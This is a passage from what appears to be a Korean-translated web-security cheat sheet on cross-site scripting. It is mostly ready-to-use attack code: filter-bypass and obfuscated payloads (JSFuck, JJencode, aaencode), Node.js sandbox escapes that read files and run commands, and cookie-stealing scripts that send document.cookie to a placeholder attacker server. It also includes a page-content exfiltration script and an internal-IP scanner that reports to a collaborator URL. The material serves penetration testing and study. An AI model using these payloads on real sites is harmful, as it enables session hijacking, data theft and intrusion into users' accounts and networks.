<img src=x onerror="window.onerror=eval;throw'=alert\x281\x29'">
{onerror=eval}throw"=alert(1)" //No ";"
onerror=alert //No ";" using new line
throw 1337
// Error handler + Special unicode separators
eval("onerror=\u2028alert\u2029throw 1337");
// Error handler + Comma separator
// The comma separator goes through the list and returns only the last element
var a = (1,2,3,4,5,6) // a = 6
throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert
throw onerror=alert,1,1,1,1,1,1337
// optional exception variables inside a catch clause.
try{throw onerror=alert}catch{throw 1}
// Has instance symbol
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.
- https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md
- https://portswigger.net/research/javascript-without-parentheses-using-dommatrix
임의 함수 (alert) 호출
//Eval like functions
eval('ale'+'rt(1)')
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Function('ale'+'rt(10)')``;
[].constructor.constructor("alert(document.domain)")``
[]["constructor"]["constructor"]`$${alert()}```
import('data:text/javascript,alert(1)')
//General function executions
`` //Can be use as parenthesis
alert`document.cookie`
alert(document['cookie'])
with(document)alert(cookie)
(alert)(1)
(alert(1))in"."
a=alert,a(1)
[1].find(alert)
window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)
[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);
top[/al/.source+/ert/.source](1)
top[8680439..toString(30)](1)
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)
x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))
this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)
globalThis[`al`+/ert/.source]`1`
this[`al`+/ert/.source]`1`
[alert][0].call(this,1)
window['a'+'l'+'e'+'r'+'t']()
window['a'+'l'+'e'+'r'+'t'].call(this,1)
top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
(1,2,3,4,5,6,7,8,alert)(1)
x=alert,x(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
al\u0065rt`1`
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
<svg><animate onbegin=alert() attributeName=x></svg>
DOM vulnerabilities
JS code가 공격자가 제어하는 데이터를 안전하지 않게 사용하는 경우가 있다(예: location.href
). 공격자는 이를 악용해 임의의 JS 코드를 실행할 수 있다.
Due to the extension of the explanation of DOM vulnerabilities it was moved to this page:
그곳에서 DOM vulnerabilities가 무엇인지, 어떻게 유발되는지, 그리고 어떻게 익스플로잇하는지에 대한 자세한 설명을 찾을 수 있다.
또한, 언급한 게시물의 끝부분에 DOM Clobbering attacks에 대한 설명이 있다는 것을 잊지 마라.
Upgrading Self-XSS
Cookie XSS
페이로드를 쿠키 안에 넣어 보내서 XSS를 트리거할 수 있다면, 이는 보통 self-XSS이다. 그러나, vulnerable subdomain to XSS를 찾으면, 이 XSS를 악용해 도메인 전체에 쿠키를 주입하고 메인 도메인이나 다른 서브도메인(쿠키 XSS에 취약한 것들)에서 cookie XSS를 트리거할 수 있다. 이를 위해 cookie tossing attack을 사용할 수 있다:
You can find a great abuse of this technique in this blog post.
Sending your session to the admin
사용자가 자신의 프로필을 관리자와 공유할 수 있고, self XSS가 해당 사용자의 프로필에 포함되어 있으며 관리자가 그 프로필에 접근하면, 관리자가 취약점을 트리거하게 된다.
Session Mirroring
self XSS를 발견했고 웹페이지가 session mirroring for administrators를 제공하는 경우(예: 클라이언트가 도움을 요청하면 관리자가 당신의 세션에서 보는 내용을 자신의 세션에서 볼 수 있게 하는 기능), 관리자가 당신을 도와주려 접근하면 당신의 취약점이 트리거될 수 있다.
당신은 administrator trigger your self XSS를 유도하여 그의 cookies/session을 탈취할 수 있다.
Other Bypasses
Normalised Unicode
서버(또는 클라이언트 측)에서 reflected values가 unicode normalized되고 있는지 확인하고 이 기능을 악용해 보호를 우회할 수 있다. Find an example here.
PHP FILTER_VALIDATE_EMAIL flag Bypass
"><svg/onload=confirm(1)>"@x.y
Ruby-On-Rails bypass
RoR mass assignment 때문에 HTML에 따옴표가 삽입되어 따옴표 제한을 우회하고 태그 내부에 추가 필드(onfocus)를 넣을 수 있습니다.
폼 예시 (from this report), 페이로드를 전송하면:
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
쌍 "Key","Value"는 다음과 같이 출력됩니다:
{" onfocus=javascript:alert('xss') autofocus a"=>"a"}
그런 다음 onfocus 속성이 삽입되어 XSS가 발생합니다.
Special combinations
<iframe/src="data:text/html,<svg onload=alert(1)>">
<input type=image src onerror="prompt(1)">
<svg onload=alert(1)//
<img src="/" =_=" title="onerror='prompt(1)'">
<img src='1' onerror='alert(0)' <
<script x> alert(1) </script 1=2
<script x>alert('XSS')<script y>
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
<svg////////onload=alert(1)>
<svg id=x;onload=alert(1)>
<svg id=`x`onload=alert(1)>
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
<script>$=1,alert($)</script>
<script ~~~>confirm(1)</script ~~~>
<script>$=1,\u0061lert($)</script>
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
</style></scRipt><scRipt>alert(1)</scRipt>
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
<svg><x><script>alert('1')</x>
<iframe src=""/srcdoc='<svg onload=alert(1)>'>
<svg><animate onbegin=alert() attributeName=x></svg>
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
<img src=1 onerror="s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);">
(function(x){this[x+`ert`](1)})`al`
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)
XSS with header injection in a 302 response
만약 302 Redirect response에서 헤더를 inject할 수 있다면, 브라우저가 임의의 JavaScript를 실행하도록 시도해볼 수 있습니다. 이는 간단하지 않으며, 현대 브라우저는 HTTP 응답 상태 코드가 302일 때 응답 본문을 해석하지 않기 때문에 단순한 cross-site scripting 페이로드는 무용지물입니다.
this report와 this one에서는 Location 헤더 안에 여러 프로토콜을 넣어 브라우저가 본문 안의 XSS 페이로드를 검사하고 실행할 수 있는지 테스트하는 방법을 설명합니다.
과거에 알려진 프로토콜: mailto://
, //x:1/
, ws://
, wss://
, empty Location header, resource://
.
Only Letters, Numbers and Dots
만약 javascript가 실행할 callback을 문자, 숫자, 점으로만 제한해서 지정할 수 있다면, 이 동작을 악용하는 방법을 알아보려면 이 글의 해당 섹션을 읽어보세요.
Valid <script>
Content-Types to XSS
(From here) 만약 application/octet-stream
같은 content-type으로 스크립트를 로드하려 하면, Chrome은 다음과 같은 오류를 발생시킵니다:
Refused to execute script from ‘https://uploader.c.hc.lc/uploads/xxx' because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.
Chrome이 loaded script를 실행하도록 허용하는 유효한 유일한 Content-Type들은 https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc에 있는 const kSupportedJavascriptTypes
안에 정의된 것들입니다.
const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
"application/javascript",
"application/x-ecmascript",
"application/x-javascript",
"text/ecmascript",
"text/javascript",
"text/javascript1.0",
"text/javascript1.1",
"text/javascript1.2",
"text/javascript1.3",
"text/javascript1.4",
"text/javascript1.5",
"text/jscript",
"text/livescript",
"text/x-ecmascript",
"text/x-javascript",
};
XSS용 Script 타입
(출처: here) 그렇다면 어떤 타입들이 script를 로드하도록 지정될 수 있을까?
<script type="???"></script>
답변은:
- module (기본값, 설명할 필요 없음)
- webbundle: Web Bundles는 HTML, CSS, JS… 같은 여러 데이터를 하나의
.wbn
파일로 묶을 수 있는 기능입니다.
<script type="webbundle">
{
"source": "https://example.com/dir/subresources.wbn",
"resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]
}
</script>
The resources are loaded from the source .wbn, not accessed via HTTP
- importmap: import 구문을 개선할 수 있게 해줍니다.
<script type="importmap">
{
"imports": {
"moment": "/node_modules/moment/src/moment.js",
"lodash": "/node_modules/lodash-es/lodash.js"
}
}
</script>
<!-- With importmap you can do the following -->
<script>
import moment from "moment"
import { partition } from "lodash"
</script>
이 동작은 this writeup에서 라이브러리를 eval로 리맵하는 데 사용되었으며, 이를 악용하면 XSS를 유발할 수 있습니다.
- speculationrules: 이 기능은 주로 사전 렌더링으로 인해 발생하는 일부 문제를 해결하기 위한 것입니다. 동작 방식은 다음과 같습니다:
<script type="speculationrules">
{
"prerender": [
{ "source": "list", "urls": ["/page/2"], "score": 0.5 },
{
"source": "document",
"if_href_matches": ["https://*.wikipedia.org/**"],
"if_not_selector_matches": [".restricted-section *"],
"score": 0.1
}
]
}
</script>
웹 Content-Types와 XSS
(출처: here) 다음 Content-Types는 모든 브라우저에서 XSS를 실행할 수 있습니다:
- text/html
- application/xhtml+xml
- application/xml
- text/xml
- image/svg+xml
- text/plain (?? 목록에는 없지만 CTF에서 본 적이 있는 것 같습니다)
- application/rss+xml (off)
- application/atom+xml (off)
다른 브라우저에서는 다른 **Content-Types
**가 임의의 JS를 실행하는 데 사용될 수 있습니다. 확인: https://github.com/BlackFan/content-type-research/blob/master/XSS.md
xml Content Type
페이지가 text/xml content-type으로 반환되는 경우 네임스페이스를 지정하여 임의의 JS를 실행할 수 있습니다:
<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
</xml>
<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->
특수 치환 패턴
다음과 같은 **"some {{template}} data".replace("{{template}}", <user_input>)
**가 사용될 때, 공격자는 special string replacements를 사용해 일부 보호장치를 우회하려 시도할 수 있다: "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))
예를 들어 this writeup에서는, 이 방법이 스크립트 내부의 scape a JSON string에 사용되어 임의의 코드를 실행하는 데 이용되었다.
Chrome Cache to XSS
XS Jails Escape
사용할 수 있는 문자가 제한되어 있다면, XSJail 문제에 대한 다음의 다른 유효한 해결책들을 확인하세요:
// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))
// use of with
with(console)log(123)
with(/console.log(1)/index.html)with(this)with(constructor)constructor(source)()
// Just replace console.log(1) to the real code, the code we want to run is:
//return String(process.mainModule.require('fs').readFileSync('flag.txt'))
with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))
with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))
with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))
//Final solution
with(
/with(String)
with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)
with(mainModule)
with(require(k))
return(String(readFileSync(n)))
/)
with(this)
with(constructor)
constructor(source)()
// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
만약 신뢰할 수 없는 코드를 실행하기 전에 모든 것이 undefined라면 (예: this writeup) 임의의 신뢰할 수 없는 코드 실행을 악용하기 위해 "무에서" 유용한 객체를 생성할 수 있습니다:
- import()를 사용하여
// although import "fs" doesn’t work, import('fs') does.
import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
- 간접적으로
require
에 접근하기
According to this 모듈은 Node.js에 의해 다음과 같이 함수로 래핑됩니다:
;(function (exports, require, module, __filename, __dirname) {
// our actual module code
})
따라서, 해당 모듈에서 다른 함수를 호출할 수 있다면, 그 함수 내에서 arguments.callee.caller.arguments[1]
를 사용해 **require
**에 접근할 수 있습니다:
;(function () {
return arguments.callee.caller.arguments[1]("fs").readFileSync(
"/flag.txt",
"utf8"
)
})()
이전 예제와 유사하게, use error handlers를 사용하여 모듈의 wrapper에 접근하고 require
함수를 얻을 수 있다:
try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Object = {}.constructor
String = "".constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
const oldStackTrace = Error.prepareStackTrace
try {
Error.prepareStackTrace = (err, structuredStackTrace) =>
structuredStackTrace
Error.captureStackTrace(this)
this.stack
} finally {
Error.prepareStackTrace = oldStackTrace
}
}
function trigger() {
const err = new CustomError()
console.log(err.stack[0])
for (const x of err.stack) {
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
const fn = x.getFunction()
console.log(String(fn).slice(0, 200))
console.log(fn?.arguments)
console.log("=".repeat(40))
if ((args = fn?.arguments)?.length > 0) {
req = args[1]
console.log(req("child_process").execSync("id").toString())
}
}
}
trigger()
Obfuscation & Advanced Bypass
- 한 페이지에서 다양한 obfuscations: https://aem1k.com/aurebesh.js/
- https://github.com/aemkei/katakana.js
- https://javascriptobfuscator.herokuapp.com/
- https://skalman.github.io/UglifyJS-online/
- http://www.jsfuck.com/
- 더 정교한 JSFuck: https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce
- http://utf-8.jp/public/jjencode.html
- https://utf-8.jp/public/aaencode.html
- https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses
//Katana
<script>
([,ウ,,,,ア]=[]+{}
,[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()
</script>
//JJencode
<script>$=~[];$={___:++$,$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$:({}+"")[$],$_$:($[$]+"")[$],_$:++$,$_:(!""+"")[$],$__:++$,$_$:++$,$__:({}+"")[$],$_:++$,$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$=($.$+"")[$.__$])+((!$)+"")[$._$]+($.__=$.$_[$.$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$=$.$+(!""+"")[$._$]+$.__+$._+$.$+$.$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$+"\""+$.$_$_+(![]+"")[$._$_]+$.$_+"\\"+$.__$+$.$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
//JSFuck
<script>
(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()
</script>
//aaencode
゚ω゚ノ = /`m´)ノ ~┻━┻ / /*´∇`*/["_"]
o = ゚ー゚ = _ = 3
c = ゚Θ゚ = ゚ー゚ - ゚ー゚
゚Д゚ = ゚Θ゚ = (o ^ _ ^ o) / (o ^ _ ^ o)
゚Д゚ = {
゚Θ゚: "_",
゚ω゚ノ: ((゚ω゚ノ == 3) + "_")[゚Θ゚],
゚ー゚ノ: (゚ω゚ノ + "_")[o ^ _ ^ (o - ゚Θ゚)],
゚Д゚ノ: ((゚ー゚ == 3) + "_")[゚ー゚],
}
゚Д゚[゚Θ゚] = ((゚ω゚ノ == 3) + "_")[c ^ _ ^ o]
゚Д゚["c"] = (゚Д゚ + "_")[゚ー゚ + ゚ー゚ - ゚Θ゚]
゚Д゚["o"] = (゚Д゚ + "_")[゚Θ゚]
゚o゚ =
゚Д゚["c"] +
゚Д゚["o"] +
(゚ω゚ノ + "_")[゚Θ゚] +
((゚ω゚ノ == 3) + "_")[゚ー゚] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
((゚ー゚ == 3) + "_")[゚ー゚ - ゚Θ゚] +
゚Д゚["c"] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
゚Д゚["o"] +
((゚ー゚ == 3) + "_")[゚Θ゚]
゚Д゚["_"] = (o ^ _ ^ o)[゚o゚][゚o゚]
゚ε゚ =
((゚ー゚ == 3) + "_")[゚Θ゚] +
゚Д゚.゚Д゚ノ +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[o ^ _ ^ (o - ゚Θ゚)] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
(゚ω゚ノ + "_")[゚Θ゚]
゚ー゚ += ゚Θ゚
゚Д゚[゚ε゚] = "\\"
゚Д゚.゚Θ゚ノ = (゚Д゚ + ゚ー゚)[o ^ _ ^ (o - ゚Θ゚)]
o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o]
゚Д゚[゚o゚] = '"'
゚Д゚["_"](
゚Д゚["_"](
゚ε゚ +
゚Д゚[゚o゚] +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
(゚ー゚ + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚o゚]
)(゚Θ゚)
)("_")
// It's also possible to execute JS code only with the chars: []`+!${}
XSS 일반적인 payloads
여러 payloads를 하나로
Iframe Trap
사용자가 iframe을 벗어나지 않고 페이지 내에서 이동하도록 유도하고 그의 행동(폼으로 전송된 정보를 포함)을 탈취합니다:
쿠키 가져오기
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
<script>new Image().src="http://<IP>/?c="+encodeURI(document.cookie);</script>
<script>new Audio().src="http://<IP>/?c="+escape(document.cookie);</script>
<script>location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.write('<img src="http://<YOUR_SERVER_IP>?c='+document.cookie+'" />')</script>
<script>window.location.assign('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['assign']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['href']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>document.location=["http://<YOUR_SERVER_IP>?c",document.cookie].join()</script>
<script>var i=new Image();i.src="http://<YOUR_SERVER_IP>/?c="+document.cookie</script>
<script>window.location="https://<SERVER_IP>/?c=".concat(document.cookie)</script>
<script>var xhttp=new XMLHttpRequest();xhttp.open("GET", "http://<SERVER_IP>/?c="%2Bdocument.cookie, true);xhttp.send();</script>
<script>eval(atob('ZG9jdW1lbnQud3JpdGUoIjxpbWcgc3JjPSdodHRwczovLzxTRVJWRVJfSVA+P2M9IisgZG9jdW1lbnQuY29va2llICsiJyAvPiIp'));</script>
<script>fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
tip
쿠키에 HTTPOnly flag가 설정되어 있으면, JavaScript에서 cookies에 접근할 수 없습니다. 하지만 운이 좋다면 some ways to bypass this protection이 있습니다.
페이지 콘텐츠 탈취
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"
var attacker = "http://10.10.14.8/exfil"
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open("GET", url, true)
xhr.send(null)
내부 IP 찾기
<script>
var q = []
var collaboratorURL =
"http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net"
var wait = 2000
var n_threads = 51
// Prepare the fetchUrl functions to access all the possible
for (i = 1; i <= 255; i++) {
q.push(
(function (url) {
return function () {
fetchUrl(url, wait)
}
})("http://192.168.0." + i + ":8080")
)
}
// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
for (i = 1; i <= n_threads; i++) {
if (q.length) q.shift()()
}
function fetchUrl(url, wait) {
console.log(url)
var controller = new AbortController(),
signal = controller.signal
fetch(url, { signal })
.then((r) =>
r.text().then((text) => {
location =
collaboratorURL +
"?ip=" +
url.replace(/^http:\/\//, "") +
"&code=" +
encodeURIComponent(text) +
"&" +
Date.now()
})
)
.catch((e) => {
if (!String(e).includes("The user aborted a request") && q.length) {
q.shift()()
}
})
setTimeout((x) => {
controller.abort()
if (q.length) {
q.shift()()
}
}, wait)
}
</script>
Port Scanner (fetch)
